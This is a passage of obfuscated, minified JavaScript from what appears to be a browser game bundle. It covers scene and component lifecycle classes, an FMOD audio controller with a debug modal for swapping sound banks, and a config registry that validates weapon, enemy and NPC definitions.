(_0xc60159, _0x5bc0e4) { _0xc60159['default'] = _0x5bc0e4; }), _0x340a5d = this && this['__importStar'] || function (_0x2ba678) { if (_0x2ba678 && _0x2ba678['__esModule']) return _0x2ba678; var _0x5e0582 = {}; if (null != _0x2ba678) { for (var _0x2d5cc8 in _0x2ba678) 'default' !== _0x2d5cc8 && Object['prototype']['hasOwnProperty']['call'](_0x2ba678, _0x2d5cc8) && _0x5591fa(_0x5e0582, _0x2ba678, _0x2d5cc8); } return _0x41014d(_0x5e0582, _0x2ba678), _0x5e0582; }; Object['defineProperty'](_0x1762fa, '__esModule', { 'value': !0x0 }), _0x1762fa['Scene'] = _0x1762fa['DEFAULT_SCENE_NAME'] = void 0x0; const _0x12706c = _0x340a5d(_0x503e19(0x8d4)), _0x40fbe5 = _0x503e19(0xf0e), _0x54c9c6 = _0x503e19(0x18db), _0x224270 = _0x503e19(0x5d3); _0x1762fa['DEFAULT_SCENE_NAME'] = 'DefaultScene'; class _0x41f72c extends _0x12706c['Scene']{ ['config'];['store'];['messageBus'];['gameMessageBus'];['components'] = []; constructor(_0x4b62bb) { super(_0x4b62bb['name'] || _0x1762fa['DEFAULT_SCENE_NAME']), this['config'] = _0x4b62bb, this['config']['name'] || (this['config']['name'] = _0x1762fa['DEFAULT_SCENE_NAME']), this['messageBus'] = _0x4b62bb['sceneMessageBus'] || new _0x40fbe5['MessageBus'](), this['store'] = _0x4b62bb['store'] || new _0x54c9c6['Store'](_0x4b62bb['model']), this['gameMessageBus'] = _0x4b62bb['gameMessageBus'], this['registerComponents'](_0x4b62bb); } ['preload']() { this['components']['forEach'](_0x26c5dc => _0x26c5dc['coreOnPreload']()); } ['create']() { this['components']['forEach'](_0xe932a2 => _0xe932a2['coreOnCreate']()), this['gameMessageBus']['publish']('sceneCreationComplete', this['config']['name']); } ['destroy']() { this['components']['forEach'](_0x2b283f => _0x2b283f['coreDestroy']()), this['components'] = [], this['store']['destroy'](), this['messageBus']['destroy'](); } ['updatePhysics'](_0x27cb53) { this['components']['forEach'](_0x5b3d22 => _0x5b3d22['coreUpdatePhysics'](_0x27cb53)); } ['updateFeatures'](_0x11e3ed) { this['components']['forEach'](_0x55fcea => _0x55fcea['coreUpdateFeatures'](_0x11e3ed)); } ['updatePositions']() { this['components']['forEach'](_0x4a405e => _0x4a405e['coreUpdatePositions']()); } ['getVerificationData']() { return this['components']['map'](_0x591012 => _0x591012['getVerificationData']())['flat'](); } ['getFromStore'](_0x4552ed) { if (this['store']) return this['store']['get'](_0x4552ed); } ['subscribeToStore'](_0x496f45, _0x3e2a0b) { this['store']['subscribe'](_0x496f45, _0x3e2a0b); } ['unsubscribeFromStore'](_0xa4757a, _0x102502) { this['store']['unsubscribe'](_0xa4757a, _0x102502); } ['getSceneKey']() { return this['scene']['key']; } ['registerComponents'](_0x5d5092) { _0x5d5092['components'] || (_0x5d5092['components'] = []), _0x5d5092['components']['forEach'](_0x4eb449 => { ((0x0, _0x224270['runningAsBackend'])() && !_0x4eb449['isRenderComponent']() || !(0x0, _0x224270['runningAsBackend'])()) && (this['components']['push'](_0x4eb449), this['initializeComponent'](_0x4eb449)); }), _0x5d5092['gameContext']['timeProvider']['delayAction'](() => { _0x5d5092['components']['forEach'](_0x16a0ea => { ((0x0, _0x224270['runningAsBackend'])() && !_0x16a0ea['isRenderComponent']() || !(0x0, _0x224270['runningAsBackend'])()) && this['postInitializeComponent'](_0x16a0ea); }); }); } ['initializeComponent'](_0xfc1c7) { _0xfc1c7['coreInit']({ 'store': this['store'], 'messageBus': this['messageBus'], 'gameMessageBus': this['gameMessageBus'], 'scene': this, 'gameContext': this['config']['gameContext'] }); } ['postInitializeComponent'](_0x325e3c) { _0x325e3c['corePostInit']({ 'store': this['store'], 'messageBus': this['messageBus'], 'gameMessageBus': this['gameMessageBus'], 'scene': this, 'gameContext': this['config']['gameContext'] }); } } _0x1762fa['Scene'] = _0x41f72c; }, 0x1709: (_0x4797b2, _0xccae1f) => { 'use strict'; Object['defineProperty'](_0xccae1f, '__esModule', { 'value': !0x0 }), _0xccae1f['SceneComponent'] = void 0x0, _0xccae1f['SceneComponent'] = class { ['config'];['controllers'] = [];['gameContext'];['messageBus'];['gameMessageBus'];['store'];['scene']; constructor(_0x327093) { this['config'] = _0x327093 || {}, this['controllers'] = this['config']['controllers'] || []; } ['coreInit'](_0x2d5276) { this['messageBus'] = _0x2d5276['messageBus'], this['gameMessageBus'] = _0x2d5276['gameMessageBus'], this['store'] = _0x2d5276['store'], this['gameContext'] = _0x2d5276['gameContext'], this['scene'] = _0x2d5276['scene'], this['controllers']['forEach'](_0x3efab8 => _0x3efab8['coreInit']({ ..._0x2d5276, 'component': this })), this['config'] = { ...this['config'], ..._0x2d5276 }, this['init'](_0x2d5276); } ['corePostInit'](_0x29c1ec) { this['controllers']['forEach'](_0x1d4f85 => _0x1d4f85['corePostInit']({ ..._0x29c1ec, 'component': this })), this['postInit'](_0x29c1ec); } ['coreDestroy']() { this['destroy'](), this['gameMessageBus']['unsubscribeByOwner'](this), this['controllers']['forEach'](_0x42b306 => _0x42b306['coreDestroy']()), this['controllers'] = [], this['messageBus']?.['unsubscribeByOwner'](this), this['gameMessageBus']?.['unsubscribeByOwner'](this), this['scene'] = void 0x0; } ['coreUpdatePhysics'](_0x482250) { this['updatePhysics'](_0x482250); } ['coreUpdateFeatures'](_0x262cb6) { this['updateFeatures'](_0x262cb6), this['controllers']['forEach'](_0x42e5ef => _0x42e5ef['coreUpdate'](_0x262cb6)); } ['coreUpdatePositions']() { this['updatePositions'](); } ['coreOnCreate']() { this['onCreate'](), this['controllers']['forEach'](_0x2c15bd => _0x2c15bd['coreOnCreate']()); } ['coreOnPreload']() { this['onPreload'](), this['controllers']['forEach'](_0xd51ee9 => _0xd51ee9['coreOnPreload']()); } ['getVerificationData']() { return []; } ['isRenderComponent']() { return !!this['config']['isRenderComponent']; } ['updatePhysics'](_0x48d528) { } ['updateFeatures'](_0x2e2abe) { } ['updatePositions']() { } ['init'](_0x1dd579) { } ['postInit'](_0x8450c3) { } ['onCreate']() { } ['onPreload']() { } ['destroy']() { } }; }, 0xac1: (_0x4c904a, _0x5d5600, _0x56f2c1) => { 'use strict'; Object['defineProperty'](_0x5d5600, '__esModule', { 'value': !0x0 }), _0x5d5600['SceneComponentController'] = void 0x0; const _0x1e3443 = _0x56f2c1(0x5d3); _0x5d5600['SceneComponentController'] = class { ['config'];['component'];['gameContext'];['messageBus'];['gameMessageBus'];['store'];['scene']; constructor(_0x9fcc21) { this['config'] = {}; } ['coreOnCreate']() { this['onCreate'](); } ['coreOnPreload']() { this['onPreload'](); } ['coreInit'](_0x3f9a40) { this['config']['disabledOnBackend'] && (0x0, _0x1e3443['runningAsBackend'])() || (this['messageBus'] = _0x3f9a40['messageBus'], this['gameMessageBus'] = _0x3f9a40['gameMessageBus'], this['store'] = _0x3f9a40['store'], this['scene'] = _0x3f9a40['scene'], this['component'] = _0x3f9a40['component'], this['gameContext'] = _0x3f9a40['gameContext'], this['config'] = { ...this['config'], ..._0x3f9a40 }, this['init'](_0x3f9a40)); } ['corePostInit'](_0x5706fb) { this['postInit'](_0x5706fb); } ['coreDestroy']() { this['destroy'](), this['messageBus']?.['unsubscribeByOwner'](this), this['gameMessageBus']?.['unsubscribeByOwner'](this), this['component'] = void 0x0; } ['coreUpdate'](_0x4b5427) { this['config']['disabledOnBackend'] && (0x0, _0x1e3443['runningAsBackend'])() || this['update'](_0x4b5427); } ['init'](_0x191e1c) { } ['postInit'](_0x1ef349) { } ['update'](_0x1035c4) { } ['destroy']() { } ['onCreate']() { } ['onPreload']() { } }; }, 0x2347: (_0x4139b0, _0x5c4221, _0x96215e) => { 'use strict'; Object['defineProperty'](_0x5c4221, '__esModule', { 'value': !0x0 }), _0x5c4221['renderScalar2PhysicsScalar'] = _0x5c4221['physicsScalar2RenderScalar'] = _0x5c4221['renderVector2PhysicsVector'] = _0x5c4221['physicsVector2RenderVector'] = _0x5c4221['sceneModel'] = void 0x0; const _0x126181 = _0x96215e(0xb35); _0x5c4221['sceneModel'] = {}, _0x5c4221['physicsVector2RenderVector'] = _0x380120 => ({ 'x': _0x380120['x'] * _0x126181['PhysicsConfig']['TILE_SIZE'], 'y': _0x380120['y'] * _0x126181['PhysicsConfig']['TILE_SIZE'] }), _0x5c4221['renderVector2PhysicsVector'] = _0xdd7aef => ({ 'x': _0xdd7aef['x'] / _0x126181['PhysicsConfig']['TILE_SIZE'], 'y': _0xdd7aef['y'] / _0x126181['PhysicsConfig']['TILE_SIZE'] }), _0x5c4221['physicsScalar2RenderScalar'] = _0x31c376 => _0x31c376 * _0x126181['PhysicsConfig']['TILE_SIZE'], _0x5c4221['renderScalar2PhysicsScalar'] = _0x4d03a0 => _0x4d03a0 / _0x126181['PhysicsConfig']['TILE_SIZE']; }, 0x109: (_0xadb713, _0x8aa98c, _0x59a2b6) => { 'use strict'; Object['defineProperty'](_0x8aa98c, '__esModule', { 'value': !0x0 }), _0x8aa98c['createAudioScene'] = void 0x0; const _0x336fab = _0x59a2b6(0x19f5), _0x1e7aa0 = _0x59a2b6(0x2347), _0x48f322 = _0x59a2b6(0x477), _0x20e77c = _0x59a2b6(0xce3), _0x51d70c = _0x59a2b6(0x1ecd), _0x310728 = _0x59a2b6(0x5d3), _0x2235a2 = { ..._0x1e7aa0['sceneModel'], ..._0x51d70c['sceneSoundModel'] }; _0x8aa98c['createAudioScene'] = async function (_0x31dda5) { const _0x5970fd = []; if (!(0x0, _0x310728['runningAsBackend'])()) { const { FMODComponent: _0x1f9395 } = await _0x59a2b6['e'](0x322)['then'](_0x59a2b6['bind'](_0x59a2b6, 0x1a92)); _0x5970fd['push'](new _0x1f9395({ 'controllers': [new _0x20e77c['FMODController'](), new _0x48f322['FmodBanksReplacementDebugController']()], 'positionScale': 0.01 })); } return new _0x336fab['Scene']({ 'gameMessageBus': _0x31dda5['gameMessageBus'], 'gameContext': _0x31dda5['gameContext'], 'name': 'AUDIO', 'model': _0x2235a2, 'components': _0x5970fd }); }; }, 0x477: (_0xdc9d9c, _0x249084, _0x392d62) => { 'use strict'; Object['defineProperty'](_0x249084, '__esModule', { 'value': !0x0 }), _0x249084['FmodBanksReplacementDebugController'] = void 0x0; const _0x2c61ad = _0x392d62(0x1762), _0x22b621 = _0x392d62(0x1ecd), _0x22d6d4 = _0x392d62(0xac1); class _0x29831f extends _0x22d6d4['SceneComponentController']{ ['init']() { this['gameMessageBus']['subscribe'](this, 'uiEvent', _0x1efc8e => { if ('SHOW_FMOD_BANKS_REPLACE_MODAL' === _0x1efc8e['name']) this['showFmodBanksReplaceModal'](); }); } ['showFmodBanksReplaceModal']() { (0x0, _0x2c61ad['createModal'])({ 'title': 'Replace\x20FMOD\x20bank\x20files', 'bodyText': 'Using\x20this\x20option\x20you\x20can\x20replace\x20sound\x20banks\x20used\x20in\x20game.\x20<br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20This\x20feature\x20will\x20work\x20live,\x20and\x20will\x20not\x20persist\x20between\x20sessions\x20of\x20the\x20game.\x20<br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20For\x20this\x20to\x20work\x20properly:\x20<br><br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20*\x20You\x20need\x20to\x20upload\x20a\x20JSON-formatted\x20file\x20that\x20maps\x20game\x20sounds\x20to\x20FMOD\x20sound\x20events.\x20<br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20You\x20can\x20download\x20sample\x20file\x20using\x20the\x20button\x20at\x20the\x20bottom\x20of\x20the\x20page.\x20<br><br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20*\x20When\x20uploading\x20bank\x20files,\x20in\x20the\x20system\x20file\x20picker,\x20select\x20all\x20of\x20the\x20.bank\x20files.\x20<br><br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20If\x20additional\x20game\x20sounds\x20will\x20be\x20added\x20to\x20the\x20map\x20file,\x20nothing\x20will\x20happen.<br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20If\x20any\x20FMOD\x20sound\x20event\x20will\x20be\x20missing,\x20there\x20will\x20be\x20a\x20warning\x20in\x20the\x20console,\x20and\x20the\x20sound\x20will\x20not\x20be\x20played.<br><br>', 'inputs': [{ 'type': 'file', 'label': 'game\x20sound\x20to\x20FMOD\x20sound\x20events\x20map\x20-\x20in\x20JSON', 'required': !0x0 }, { 'type': 'file', 'label': 'bank\x20files', 'required': !0x0, 'multiple': !0x0 }], 'showCancelButton': !0x0, 'showConfirmButton': !0x0, 'onConfirm': _0x4416a5 => this['handleReplaceFmodBanks'](_0x4416a5), 'customButtons': [{ 'label': 'Download\x20sample\x20map\x20file', 'handler': _0x46f3c7 => { this['downloadSampleMapFile'](); }, 'class': 'bg-blue-500\x20text-white\x20mt-3\x20text-sm\x20leading-5\x20px-4\x20py-2\x20rounded-lg\x20font-medium' }] }); } ['downloadSampleMapFile']() { const _0x264e58 = { ..._0x22b621['defaultSoundEventMap'] }, _0x2d9a11 = JSON['stringify'](_0x264e58, null, 0x2), _0x50dec7 = new Blob([_0x2d9a11], { 'type': 'application/json' }), _0x28b8b4 = URL['createObjectURL'](_0x50dec7), _0x13592d = document['createElement']('a'); _0x13592d['href'] = _0x28b8b4, _0x13592d['download'] = 'sample_sound_map.json', _0x13592d['click'](), URL['revokeObjectURL'](_0x28b8b4); } async['handleReplaceFmodBanks'](_0x37a847) { const _0x2caf08 = _0x37a847['input-0'], _0x4f6e05 = await this['readFile'](_0x2caf08), _0x2e4c27 = JSON['parse'](_0x4f6e05), _0x295846 = [], _0x2c05d5 = 'input-1'; if (_0x2c05d5 in _0x37a847 && _0x37a847[_0x2c05d5] instanceof FileList) { const _0x5de5f7 = _0x37a847[_0x2c05d5]; for (let _0x1ff1fc = 0x0; _0x1ff1fc < _0x5de5f7['length']; _0x1ff1fc++) { const _0x472fdf = _0x5de5f7[_0x1ff1fc], _0x40ec68 = URL['createObjectURL'](_0x472fdf); _0x295846['push'](_0x40ec68); } } this['gameMessageBus']['publish']('banksChanged', { 'banks': _0x295846, 'soundEventMap': _0x2e4c27 }); } async['readFile'](_0x38361d) { return new Promise((_0x1851c5, _0x31ea3c) => { const _0x1d7a0e = new FileReader(); _0x1d7a0e['onload'] = () => _0x1851c5(_0x1d7a0e['result']), _0x1d7a0e['onerror'] = () => _0x31ea3c(new Error('Failed\x20to\x20read\x20file')), _0x1d7a0e['readAsText'](_0x38361d); }); } async['readBlob'](_0x45af1a) { return new Promise((_0x5c4ea8, _0x2d74df) => { const _0x6f6787 = new FileReader(); _0x6f6787['onload'] = () => _0x5c4ea8(new Blob([_0x6f6787['result']], { 'type': _0x45af1a['type'] })), _0x6f6787['onerror'] = () => _0x2d74df(new Error('Failed\x20to\x20read\x20file')), _0x6f6787['readAsArrayBuffer'](_0x45af1a); }); } } _0x249084['FmodBanksReplacementDebugController'] = _0x29831f; }, 0xce3: (_0x1412c5, _0x493ad3, _0x5e20ac) => { 'use strict'; Object['defineProperty'](_0x493ad3, '__esModule', { 'value': !0x0 }), _0x493ad3['FMODController'] = void 0x0; const _0x2a8de1 = _0x5e20ac(0x2123), _0x40b624 = _0x5e20ac(0xac1), _0x4e80bf = _0x5e20ac(0x1ecd), _0x30539e = _0x5e20ac(0xa66), _0x5abcac = 'bus:/Music', _0x18b4c1 = 'vca:/SFX-MASTER', _0x16ee74 = '/asset/sfx/asset/', _0x56a09e = ['Master.bank', 'Master.strings.bank', 'Music.bank', 'SFX.bank', 'Weapons.bank', 'Prompt.bank']; class _0x59dadf extends _0x40b624['SceneComponentController']{ async['onPreload']() { this['store']['update']('clientAudioEnabled', !0x0), this['store']['update']('parentAudioEnabled', !0x0), this['gameMessageBus']['subscribe'](this, 'requestSound', _0x35f52f => this['onRequestSound'](_0x35f52f)), this['gameMessageBus']['subscribe'](this, 'requestStopSound', _0x407089 => this['component']['stopSound'](_0x407089)), this['gameMessageBus']['subscribe'](this, 'requestStopSoundsByEventName', _0x2c09ff => this['component']['stopSoundsByEventName'](_0x2c09ff)), this['gameMessageBus']['subscribe'](this, 'requestStopSoundsByGroupName', _0x593dac => this['component']['stopSoundsByGroupName'](_0x593dac)), this['gameMessageBus']['subscribe'](this, 'requestStopAllSounds', () => this['component']['stopAllSounds']()), this['gameMessageBus']['subscribe'](this, 'requestSoundParameterUpdate', _0x1642be => this['setSoundParameter'](_0x1642be)), this['gameMessageBus']['subscribe'](this, 'setListenerPosition', _0x324910 => this['updateListenerPosition'](_0x324910)), this['gameMessageBus']['subscribe'](this, 'requestSoundGroupVolumeUpdate', _0x51f32b => this['component']['updateSoundGroupVolume'](_0x51f32b)), this['gameMessageBus']['subscribe'](this, 'replayComplete', () => this['onReplayComplete']()), this['gameMessageBus']['subscribe'](this, 'receivedInboundMessage', ({ type: _0x5679e3, content: _0x27d92b }) => this['onReceivedInboundMessage'](_0x5679e3, _0x27d92b)), this['gameMessageBus']['subscribe'](this, 'banksChanged', _0x2c6812 => { this['component']['replaceBanks'](_0x2c6812['banks'], _0x2c6812['soundEventMap']); }), await this['component']['initializeFMOD'](this['getBankPaths'](), _0x4e80bf['defaultSoundEventMap']); } ['setSoundParameter'](_0x4143c1) { this['component']['setSoundParameter'](_0x4143c1); } ['updateListenerPosition'](_0x1fd871) { this['component']['updateListenerPosition'](_0x1fd871); } ['onReplayComplete']() { this['component']['stopAllSounds'](); } ['onReceivedInboundMessage'](_0x3ededb, _0x46eab6) { switch (_0x3ededb) { case _0x2a8de1['EMessageInboundType']['DISABLE_AUDIO']: this['store']['update']('clientAudioEnabled', !0x1), this['setupVolume'](); break; case _0x2a8de1['EMessageInboundType']['ENABLE_AUDIO']: this['store']['update']('clientAudioEnabled', !0x0), (this['store']['get']('clientAudioEnabled') && this['store']['get']('parentAudioEnabled') && this['component']['enableAudio'](), this['setupVolume']()); break; case _0x2a8de1['EMessageInboundType']['UPDATE_SETTINGS']: { const _0x852b66 = _0x46eab6; this['store']['update']('parentAudioEnabled', !!_0x852b66['isMusicPlaying']); const _0x4402fe = _0x852b66['audio']?.['find'](_0x29db62 => 'Sound\x20Effects' === _0x29db62['name'])?.['value'] ?? 0.5, _0x4537a9 = _0x852b66['audio']?.['find'](_0x43e61e => 'Music' === _0x43e61e['name'])?.['value'] ?? 0.5, _0x342b79 = { [_0x18b4c1]: _0x4402fe, [_0x5abcac]: _0x4537a9 }; this['store']['update']('soundBusVolumes', _0x342b79), this['setupVolume'](); break; } } } ['onRequestSound'](_0x516c35) { _0x516c35['config']['disallowWhenAlreadyPlaying'] && this['component']['isPlayingSound'](_0x516c35) || (_0x516c35['config']['cancelOtherInstances'] && this['component']['stopSoundsByEventName']({ 'soundName': _0x516c35['config']['name'] }), this['component']['playSound'](_0x516c35)); } ['setupVolume']() { const _0x4b71d7 = this['store']['get']('clientAudioEnabled') && this['store']['get']('parentAudioEnabled'), _0x2f362b = this['store']['get']('soundBusVolumes')[_0x18b4c1] ?? 0.5, _0x525b95 = this['store']['get']('soundBusVolumes')[_0x5abcac] ?? 0.5; this['component']['setVcaVolume'](_0x18b4c1, _0x4b71d7 ? _0x2f362b : 0x0), this['component']['setBusVolume'](_0x5abcac, _0x4b71d7 ? _0x525b95 : 0x0); } ['getBankPaths']() { const _0x42e142 = this['scene']['game']['registry']['get'](_0x30539e['BUNDLE_ASSET_URLS_KEY']); return _0x42e142 ? _0x56a09e['map'](_0x4a4573 => _0x42e142['' + _0x16ee74 + _0x4a4573]) : _0x56a09e['map'](_0x131dc6 => '' + _0x16ee74 + _0x131dc6); } } _0x493ad3['FMODController'] = _0x59dadf; }, 0x1ecd: function (_0xe90de8, _0xcef2dd, _0x21d5e3) { 'use strict'; var _0x50b534 = this && this['__createBinding'] || (Object['create'] ? function (_0x2883a3, _0x5f3ba6, _0x160b26, _0x5a0d11) { void 0x0 === _0x5a0d11 && (_0x5a0d11 = _0x160b26); var _0x412da2 = Object['getOwnPropertyDescriptor'](_0x5f3ba6, _0x160b26); _0x412da2 && !('get' in _0x412da2 ? !_0x5f3ba6['__esModule'] : _0x412da2['writable'] || _0x412da2['configurable']) || (_0x412da2 = { 'enumerable': !0x0, 'get': function () { return _0x5f3ba6[_0x160b26]; } }), Object['defineProperty'](_0x2883a3, _0x5a0d11, _0x412da2); } : function (_0x50298b, _0x3623cc, _0xf0aefb, _0x2caa5a) { void 0x0 === _0x2caa5a && (_0x2caa5a = _0xf0aefb), _0x50298b[_0x2caa5a] = _0x3623cc[_0xf0aefb]; }), _0xd53ff5 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x185e96, _0x34243b) { Object['defineProperty'](_0x185e96, 'default', { 'enumerable': !0x0, 'value': _0x34243b }); } : function (_0x1afaa0, _0x240bea) { _0x1afaa0['default'] = _0x240bea; }), _0x26db67 = this && this['__importStar'] || function (_0x1c3df1) { if (_0x1c3df1 && _0x1c3df1['__esModule']) return _0x1c3df1; var _0x32a470 = {}; if (null != _0x1c3df1) { for (var _0x14455b in _0x1c3df1) 'default' !== _0x14455b && Object['prototype']['hasOwnProperty']['call'](_0x1c3df1, _0x14455b) && _0x50b534(_0x32a470, _0x1c3df1, _0x14455b); } return _0xd53ff5(_0x32a470, _0x1c3df1), _0x32a470; }, _0x380aba = this && this['__importDefault'] || function (_0x451ee4) { return _0x451ee4 && _0x451ee4['__esModule'] ? _0x451ee4 : { 'default': _0x451ee4 }; }; Object['defineProperty'](_0xcef2dd, '__esModule', { 'value': !0x0 }), _0xcef2dd['DEFAULT_GROUP_NAME'] = _0xcef2dd['sceneSoundModel'] = _0xcef2dd['TRequestSoundConfig'] = _0xcef2dd['defaultSoundEventMap'] = void 0x0; const _0x26d114 = _0x26db67(_0x21d5e3(0x22f3)), _0x332579 = _0x380aba(_0x21d5e3(0x952)); _0xcef2dd['defaultSoundEventMap'] = _0x332579['default'], _0xcef2dd['TRequestSoundConfig'] = _0x26d114['intersection']([_0x26d114['type']({ 'name': _0x26d114['keyof'](_0xcef2dd['defaultSoundEventMap']) }), _0x26d114['partial']({ 'position': _0x26d114['type']({ 'x': _0x26d114['number'], 'y': _0x26d114['number'] }), 'groupName': _0x26d114['string'], 'volume': _0x26d114['number'], 'customId': _0x26d114['number'], 'parameters': _0x26d114['array'](_0x26d114['type']({ 'name': _0x26d114['string'], 'value': _0x26d114['number'] })), 'persistent': _0x26d114['boolean'], 'cancelOtherInstances': _0x26d114['boolean'], 'disallowWhenAlreadyPlaying': _0x26d114['boolean'] })]), _0xcef2dd['sceneSoundModel'] = { 'sceneMusic': 'Portals\x2001', 'actionIntensity': 0x0, 'clientAudioEnabled': !0x1, 'parentAudioEnabled': !0x1, 'soundBusVolumes': {}, 'timeLeftToAllowReductionOfIntensityMS': 0x0 }, _0xcef2dd['DEFAULT_GROUP_NAME'] = 'default'; }, 0x1242: (_0x541205, _0x3e6e54, _0x4de536) => { 'use strict'; Object['defineProperty'](_0x3e6e54, '__esModule', { 'value': !0x0 }), _0x3e6e54['ConfigRegistryComponent'] = void 0x0; const _0x172eed = _0x4de536(0xb8f), _0x105d6c = _0x4de536(0x1709), _0x57d223 = _0x4de536(0x158a), _0x7570cb = _0x4de536(0x98d), _0x10f228 = _0x4de536(0x26c4), _0x1737cd = _0x4de536(0x1782), _0x28e6b1 = _0x4de536(0x20e7), _0x46c8bb = _0x4de536(0xc4e), _0x4b714d = _0x4de536(0x1a9e), _0x3b841e = _0x4de536(0x125b), _0x37c37e = _0x4de536(0x1dbd), _0x26f71f = _0x4de536(0xcc9), _0x43a6f1 = _0x4de536(0x21e0), _0x5ed524 = _0x4de536(0x63a), _0x532ff6 = _0x4de536(0xa66), _0x432c8a = _0x4de536(0xfc0), _0x134141 = _0x4de536(0x12f1); class _0x111edd extends _0x105d6c['SceneComponent']{ ['REGISTRY_CONFIG_TYPES'] = [{ 'registrationPrefix': 'config/gfx/animation/', 'accessPrefix': 'animation', 'validationType': _0x172eed['TAnimationConfig'], 'buildFunction': _0x172eed['buildAnimationConfig'] }, { 'registrationPrefix': 'config/explosion/', 'accessPrefix': 'explosion', 'validationType': _0x7570cb['TExplosionConfig'] }, { 'registrationPrefix': 'config/projectile/', 'accessPrefix': 'projectile', 'validationType': _0x10f228['TProjectileConfig'] }, { 'registrationPrefix': 'config/weapon/', 'accessPrefix': 'weapon', 'validationType': _0x28e6b1['TWeaponConfig'] }, { 'registrationPrefix': 'config/weapon_group/', 'accessPrefix': 'weapon_group', 'validationType': _0x432c8a['TWeaponGroupConfig'] }, { 'registrationPrefix': 'config/enemy/', 'accessPrefix': 'enemy', 'validationType': _0x1737cd['TEnemyConfig'] }, { 'registrationPrefix': 'config/pickup/', 'accessPrefix': 'pickup', 'validationType': _0x46c8bb['TPickupConfig'] }, { 'registrationPrefix': 'config/other/', 'accessPrefix': 'other', 'validationType': _0x4b714d['TOtherConfig'] }, { 'registrationPrefix': 'config/sfx/', 'accessPrefix': 'sfx', 'validationType': _0x3b841e['TSfxConfig'] }, { 'registrationPrefix': 'config/map_object/', 'accessPrefix': 'map_object', 'validationType': _0x37c37e['TMapObjectConfig'] }, { 'registrationPrefix': 'config/dialogue/', 'accessPrefix': 'dialogue', 'validationType': _0x26f71f['TDialogueConfig'] }, { 'registrationPrefix': 'config/npc/', 'accessPrefix': 'npc', 'validationType': _0x43a6f1['TNpcConfig'] }, { 'registrationPrefix': 'config/tips/', 'accessPrefix': 'tips', 'validationType': _0x5ed524['TTipsConfig'] }, { 'registrationPrefix': 'config/perk/', 'accessPrefix': 'perk', 'validationType': _0x134141['TPerkConfig'] }];['onCreate']() { this['preloadConfigFiles'](), this['registerConfigs'](this['scene']['registry']); } ['registerConfigs'](_0x17bae7) { const _0x102122 = {}; Object['entries'](_0x17bae7['list'])['filter'](_0x25fba5 => _0x25fba5[0x0] !== _0x532ff6['BUNDLE_ASSET_URLS_KEY'])['forEach'](_0x4dd677 => { const _0x3c24f2 = _0x4dd677[0x0], _0x37f325 = _0x4dd677[0x1], _0xb948d7 = this['getRegistryConfig'](_0x3c24f2), _0x5ebae4 = _0xb948d7['accessPrefix']; this['validateObjects'](_0x37f325, _0x3c24f2, _0xb948d7), Object['prototype']['hasOwnProperty']['call'](_0x102122, _0x5ebae4) || (_0x102122[_0x5ebae4] = {}); const _0x364960 = _0x3c24f2['slice'](_0xb948d7['registrationPrefix']['length']); _0x102122[_0x5ebae4][_0x364960] = _0xb948d7['buildFunction'] ? _0xb948d7['buildFunction'](this['scene'], _0x37f325) : _0x37f325; }), this['gameContext']['initializeData'](_0x102122), this['gameMessageBus']['publish']('bootComplete'); } ['validateObjects'](_0x44ec08, _0xf9a456, _0x7b50a1) { if (Object['entries'](_0x44ec08)['some'](_0x4ec80d => { const _0x5f5191 = this['validateConfigObject'](_0x4ec80d[0x1], _0x7b50a1['validationType']); return _0x5f5191['result'], !_0x5f5191['result']; })) throw new Error('Validation\x20of\x20' + _0xf9a456 + '\x20has\x20failed,\x20see\x20previous\x20errors'); } ['validateConfigObject'](_0x3d856f, _0x3523f5) { const _0x431794 = _0x3523f5['decode'](_0x3d856f); return 'Right' === _0x431794['_tag'] ? { 'result': !0x0 } : { 'result': !0x1, 'reason': _0x57d223['PathReporter']['report'](_0x431794)['join'](',') }; } ['getRegistryConfig'](_0x1a4e6d) { const _0x3eb4dc = this['REGISTRY_CONFIG_TYPES']['findIndex'](_0x20cb9b => _0x1a4e6d['includes'](_0x20cb9b['registrationPrefix'])), _0x360e3e = this['REGISTRY_CONFIG_TYPES'][_0x3eb4dc]; if (-0x1 === _0x3eb4dc) throw new Error('Could\x20not\x20find\x20type\x20config\x20for\x20config\x20' + _0x1a4e6d); return _0x360e3e; } ['preloadConfigFiles']() { Object['entries'](this['scene']['game']['cache']['json']['entries']['entries'])['filter'](_0x34ba74 => _0x34ba74[0x0]['startsWith']('config'))['forEach'](_0x149ce2 => { const _0x2abf6c = _0x149ce2[0x0], _0x9c9a0c = _0x149ce2[0x1]; this['scene']['registry']['set'](_0x2abf6c, _0x9c9a0c); }); } } _0x3e6e54['ConfigRegistryComponent'] = _0x111edd; }, 0x18d6: function (_0x5b2cc6, _0x269b0f, _0x2f2ebf) { 'use strict'; var _0x12e6d7 = this && this['__createBinding'] || (Object['create'] ? function (_0x57d62d, _0x49284d, _0x50d5d2, _0x155caf) { void 0x0 === _0x155caf && (_0x155caf = _0x50d5d2); var _0x167810 = Object['getOwnPropertyDescriptor'](_0x49284d, _0x50d5d2); _0x167810 && !('get' in _0x167810 ? !_0x49284d['__esModule'] : _0x167810['writable'] || _0x167810['configurable']) || (_0x167810 = { 'enumerable': !0x0, 'get': function () { return _0x49284d[_0x50d5d2]; } }), Object['defineProperty'](_0x57d62d, _0x155caf, _0x167810); } : function (_0x21628a, _0x3c24b7, _0x41c7e0, _0x585ef4) { void 0x0 === _0x585ef4 && (_0x585ef4 = _0x41c7e0), _0x21628a[_0x585ef4] = _0x3c24b7[_0x41c7e0]; }), _0x649fc1 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x598623, _0x1bc265) { Object['defineProperty'](_0x598623, 'default', { 'enumerable': !0x0, 'value': _0x1bc265 }); } : function (_0xc70fcb, _0x5d19f7) { _0xc70fcb['default'] = _0x5d19f7; }), _0x240a91 = this && this['__importStar'] || function (_0x1a9795) { if (_0x1a9795 && _0x1a9795['__esModule']) return _0x1a9795; var _0x265b32 = {}; if (null != _0x1a9795) { for (var _0x205008 in _0x1a9795) 'default' !== _0x205008 && Object['prototype']['hasOwnProperty']['call'](_0x1a9795, _0x205008) && 